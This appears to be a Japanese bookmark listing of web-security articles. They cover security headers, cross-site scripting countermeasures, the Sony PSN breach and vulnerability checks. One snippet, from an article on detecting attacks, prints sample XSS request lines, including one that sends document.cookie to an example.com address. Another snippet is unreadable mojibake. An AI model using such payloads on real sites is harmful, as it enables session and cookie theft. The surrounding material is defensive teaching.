商用環境で設定しておきたいセキュリティ関連 HTTP ヘッダまとめ - A Memorandum
TL;DR X-Content-Type-Options X-Frame-Options(XFO) X-XSS-Protection Content-Security-Policy (CSP) Upgrade-Insecure-Requests Strict-Transport-Security (HSTS) Public-Key-Pins (HPKP) 設定 TL;DR X-Content-Type-Options MIME スニッフィングの無効化 X-Frame-Options(XFO) フレーム表示を制限しクリックジャッキングを予防 X-XSS-Protection XSSフィルタの有効/無効 Content-Security-Policy (CSP) XSSなどの攻撃を軽減するセキュリティレイヤー Strict-Transport-Security (HSTS) HTTP の代わり
2011年5月版 収束見えないソニー関連の攻撃 － ＠IT
山本洋介山 bogus.jp 2011/6/9 ゴールデンウィークからあっという間に5月も終わり、祝日のない6月に突入してしまいました。しかし、PlayStation Network（PSN）における個人情報の大量流出に端を発したソニーのグダグダはまだ続いていて、なかなか収束しそうにありません。 いつものように盛り上がるパスワードやエスケープ関連の話題の他、セキュリティ女子力に巫女テスターと、ちょっとだけIT業界の女子会ブームに乗っかっている感のあるセキュリティクラスタです。では、5月に起こったトピックのうち、気になったことをピックアップしていきます。 ソニーは引き続き「脆弱性発見大会？」 4月末からセキュリティ界の話題をほぼ独占している感のあるソニーの情報流出事件ですが、侵入を受け、個人情報がダダ漏れしてしまったPlayStaion Network（PSN）のセキュリティ対策費用だけで1
ウェブ健康診断 - 財団法人 地方自治情報センター（LASDEC）
地方公共団体が運営するホームぺージの改ざん防止等を図り、安定的な電子行政に資するため、ウェブアプリケーションの脆弱性の有無を診断し、その対処方法をお知らせします。ハッカーからの攻撃等による個人情報漏えいの危険性がある脆弱性についても診断できます。 ※診断実施希望団体（平成20年度）の募集は終了しました。 ウェブ健康診断とは？ 「ウェブ健康診断」とは、地方公共団体が運営するWebアプリケーションについて、インターネットを介して脆弱性の有無を診断するものです。地方公共団体であれば、無償で診断を受けることができます。本事業は、人間に例えるなら、その名のとおり 「健康診断」にあたるような位置づけの診断です。人間ドックに比べたら精密ではありませんが、昨年度事業での診断結果傾向等を考慮しながら重要な診断項目を網羅してあります。基本的な対策が出来ているかどうかを診断するものとお捉えください。 We
JP Domain XSS Site List
Status ����unfixed�פˤʤäƤ��륵���ȴ���Ԥϡ��к�»ܸ��Ŭ�ڤ�Ϣ��� Status ���ѹ����Ƥ�餤�ޤ��礦��
XSSed | Cross Site Scripting (XSS) attacks information and archive
Another Ebay permanent XSSWritten by KFTuesday, 13 November 2012 The Indian security researcher Shubham Upadhyay aka Cyb3R_Shubh4M, sent us a new permanent XSS affecting the products listings on Ebay.com read more... F-Secure, McAfee and Symantec websites again XSSedWritten by DPFriday, 13 January 2012 Once again, the websites of the three famous antivirus vendors are vulnerable to cross-site scri
UTF-7 XSS Cheat Sheet
Countermeasures against XSS with UTF-7 are: Specify charset clearly (HTTP header is recommended) Don't place the text attacker can control before <meta> Specify recognizable charset name by browser. For more information about UTF-7 trick, see "Cross-site scripthing with UTF-7". These XSS patterns are tested on IE6 and IE7. Yosuke HASEGAWA <hasegawa@openmya.hacker.jp> Last modified: 2008-01
もいちどイチから！ HTTP基礎訓練中 連載インデックス - ＠IT -
XSSは知ってても、それだけじゃ困ります？ もいちどイチから！ HTTP基礎訓練中（1） Webアプリのセキュリティについてもっと詳しく知りたいけれど、まず何を勉強すればいいの？ そんな疑問に応える新連載！ （2007/9/28） リクエストをいじれば脆弱性の仕組みが見えるのだ！ もいちどイチから！ HTTP基礎訓練中（2） Webサイトを見るということは、HTTPのやりとりを行っているということ。それをのぞき見していじってみるとさらに理解が深まります （2007/10/26） Ajaxのセキュリティ、特殊なものだと思ってました もいちどイチから！ HTTP基礎訓練中（3） AjaxでなければWeb2.0ではない、といわんばかりのAjaxブーム。対抗するには「セキュリティ2.0」が必要なのか、勉強会で確認！ （2007/12/7）
もいちどイチから！ HTTP基礎訓練中 第1回 XSSは知ってても、それだけじゃ困ります？ ― ＠IT
分かってるつもりではあるけれど…… クウはベンチャー企業で働くWebアプリケーションのエンジニア。でもそこは小さなベンチャー企業、セキュリティのことは分かっていながらも、動くものを納品するので精いっぱい……。今日は納品のため、客先でミーティングに参加していた。そしてお客様から受けた指摘は、こんな一言だった。 お客さん 「……で、このWebアプリケーション、セキュリティは大丈夫なんだよね？」 クウ 「は、はいっ！ もちろんです！」 お客さん 「じゃあ、これからもよろしく頼むよ」 クウ、ユウヤ 「よろしくお願いしますっ！」 無事、お客さんとのミーティングを終えたクウとユウヤの2人は、近くの喫茶店で一息いれることにした。 クウ 「最近はセキュリティのことを聞かれることがかなり増えてきましたねぇ」 ユウヤ 「ああ、そうだね。営業の段階から『セキュリティはどう担保されているんだ？』なーんてことをいわ
Webサーバへの攻撃を見抜く
GET /sample.cgi?language=ja&country=JP &page=<script>alert('foo')</script> HTTP/1.1 GET /cgi-bin/sample.cgi?A=execute&U=&CF=search-simple &nv=ie&S=%3Cscript%3Ealert%28%22test%22%29%3B%3C%2F script%3E&So=RDATE&Sp=AND GET /cgi-bin/sample.cgi?doc=<%73cr%69pt>document.location= ('http://example.com/test.php?c='+document.cookie)<%2f%73 %63%72%69%70t> sample.cgiはWebフォームで、入力された文字に対して全くチェックを行っていない脆弱なcgiとす
＠IT：クロスサイトスクリプティング対策の基本
最近Webアプリケーションに存在するセキュリティホールが注目を浴びている。その中でも「クロスサイトスクリプティング」と呼ばれる脆弱性が有名であるが、クロスサイトスクリプティング脆弱性について正確に理解している人が依然として少ないと感じる。 本稿では、クロスサイトスクリプティングとはどのような脆弱性であるのか、この脆弱性を持ったサイトが攻撃されるとどのような被害が起き得るのか、なぜそのようなセキュリティホールが作り込まれてしまうのか、どのように対策をすればよいのかを解説していく。 ※以下本文中では、クロスサイトスクリプティング脆弱性のことを「XSS」と表記する。「Cross Site Scripting」の略であるから「CSS」と表記している記事もあるが、「Cascading Style Sheets」の略も「CSS」となり紛らわしいため、「XSS」と表記する場合が多くなってきている。本稿で
JVN に掲載されたクロスサイト・スクリプティング問題
■JVN に掲載されたクロスサイト・スクリプティング問題 （2007/06） JVNに掲載された2007年06月分のクロスサイト・スクリプティング問題は9件です。 JVN#07100457 Apache Tomcat におけるクロスサイト・スクリプティングの脆弱性 JVN#16535199 Apache Tomcat の Accept-Language ヘッダの処理に関するクロスサイト・スクリプティングの脆弱性 JVN#23891849 ADPLAN におけるクロスサイト・スクリプティングの脆弱性 JVN#44532794 rktSNS におけるクロスサイト・スクリプティングの脆弱性 JVN#63602912 dotProject におけるクロスサイト・スクリプティングの脆弱性 JVN#64851600 Apache Tomcat 付属のサンプルプログラムにおけるクロスサイト・スクリプティ
ウェブアプリケーションセキュリティとバッドノウハウ、そしてグッドラッパーの関係
ウェブアプリケーションセキュリティとバッドノウハウ、そしてグッドラッパーの関係 by 金床 ---------------------------------- はじめに ---------------------------------- 筆者はウェブアプリケーション開発者であると同時にセキュリティ技術にも興味がある。自身がSeaSurfers MLというウェブアプリケーションセキュリティをテーマとしたメーリングリストを主催しており、またセキュリティコミュニティに多くの知人、友人がいる。しかし彼らとウェブアプリケーションなどのセキュリティ対策について意見を交換すると、違和感をおぼえることが多い。 彼らは脆弱性の原理についてとても詳しいのだが、以下のような会話が頻繁に発生するのである。 「…つまり原理的に考えて、このようにすればXSSは発生しないんだよ」 「な
まだまだあるクロスサイト・スクリプティング攻撃法
前回はクロスサイト・スクリプティングのぜい弱性を突く攻撃の対策としてのHTMLエンコードの有効性を述べた。ただ，HTMLエンコードだけではクロスサイト・スクリプティング攻撃を完全に防御することはできない。そこで今回は，HTMLエンコードで対処できないタイプのクロスサイト・スクリプティング攻撃の手口と，その対策について解説する。 HTMLエンコードで対処できない攻撃には，次のようなものがある。 タグ文字の入力を許容している場合（Webメール，ブログなど） CSS（カスケーディング・スタイルシート）の入力を許容している場合（ブログなど） 文字コードを明示していないケースでUTF-7文字コードによるクロスサイト・スクリプティング <SCRIPT>の内容を動的に生成している場合 AタグなどのURLを動的に生成している場合注） 以下では，HTMLタグやCSSの入力を許容している場合と，文字コードを明
対策遅らせるHTMLエンコーディングの「神話」
クロスサイト・スクリプティングという言葉は元々，WebアプリケーションのHTMLエンコード漏れなどを利用することによって第三者にJavaScriptを実行させる手法を指す。広義では，HTMLのエンコードによる画面改変などを含むこともある。 前回述べたように，クロスサイト・スクリプティングのぜい弱性はWebアプリケーションに見付かるぜい弱性の半分以上を占める。数年前から指摘されているにもかかわらず，一向になくならない。その理由として，クロスサイト・スクリプティング対策あるいはHTMLエンコード注1）に対する「神話」があり，正しい対策の普及を遅らせているように思う。その「神話」の数々について説明しよう。 注1）実体参照（entity reference）というのが正式だが，あまり普及していない用語なので，HTMLエンコードという用語を用いる 「すべからくHTMLエンコードすべし」が鉄則 HTM
マルチバイトの落とし穴 − ＠IT
ブラインドSQLインジェクションも不必要情報の脆弱性も覚えた星野君。だけど覚えないといけないことはまだまだありそうです。今日も赤坂さんといっしょにお勉強。 「はい、これでクロスサイトスクリプティングやってみせて」赤坂さんがそういって見せてくれた勉強用のWebアプリケーション、あれ、見たところ完ぺきなんですが…… 高橋さん 「どうよ？」 星野君 「え……。どうって何がですか？」 高橋さんは唐突に会話を始めることが多い。大抵の場合、星野君には何の話か分からない。 高橋さん 「こないだ赤坂さんとWebアプリの検査したでしょ。どうかなって」 星野君 「どう……っていうか、なんか難しい感じでした。簡単なのはすぐに見つけられると思うんですけど……」 高橋さん 「ふーん……」 高橋さんはしばらく考え込んだ後、赤坂さんに声を掛けた。 高橋さん 「ねぇ、赤坂さん。いまって暇？暇だよねー？」 赤坂さん 「いや
星野君のWebアプリほのぼの改造計画 連載インデックス - ＠IT -
セミナー申し込みフォームがスパムの踏み台？ 星野君のWebアプリほのぼの改造計画（1） 念願のWeb担当に異動した星野君。最初の仕事はセミナーのWeb申し込みフォームを3日で作ることだった（2005/10/15） ・セミナー申し込みフォームを3日で作れ！ ・Webサーバはどこだろう？ ・Web申し込みフォームなんて簡単ですよ ・スパムの踏み台は想定外！？ 誰でもWeb管理画面に入れる気前のいい会社 星野君のWebアプリほのぼの改造計画（2） 星野君に与えられた次なる指令は……仕事がなかった。しかたなく「Web管理ツール」を調べてみると……（2005/11/19） ・仕事がない！ ・サーバ上にある「admin」フォルダの謎 ・「admin」フォルダを封鎖せよ ・SQLインジェクション、発見！ ・助けて！ まこと先輩 ・Webアプリ改造計画発動－SQLインジェクション編 Webアプリ、入力チェ
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
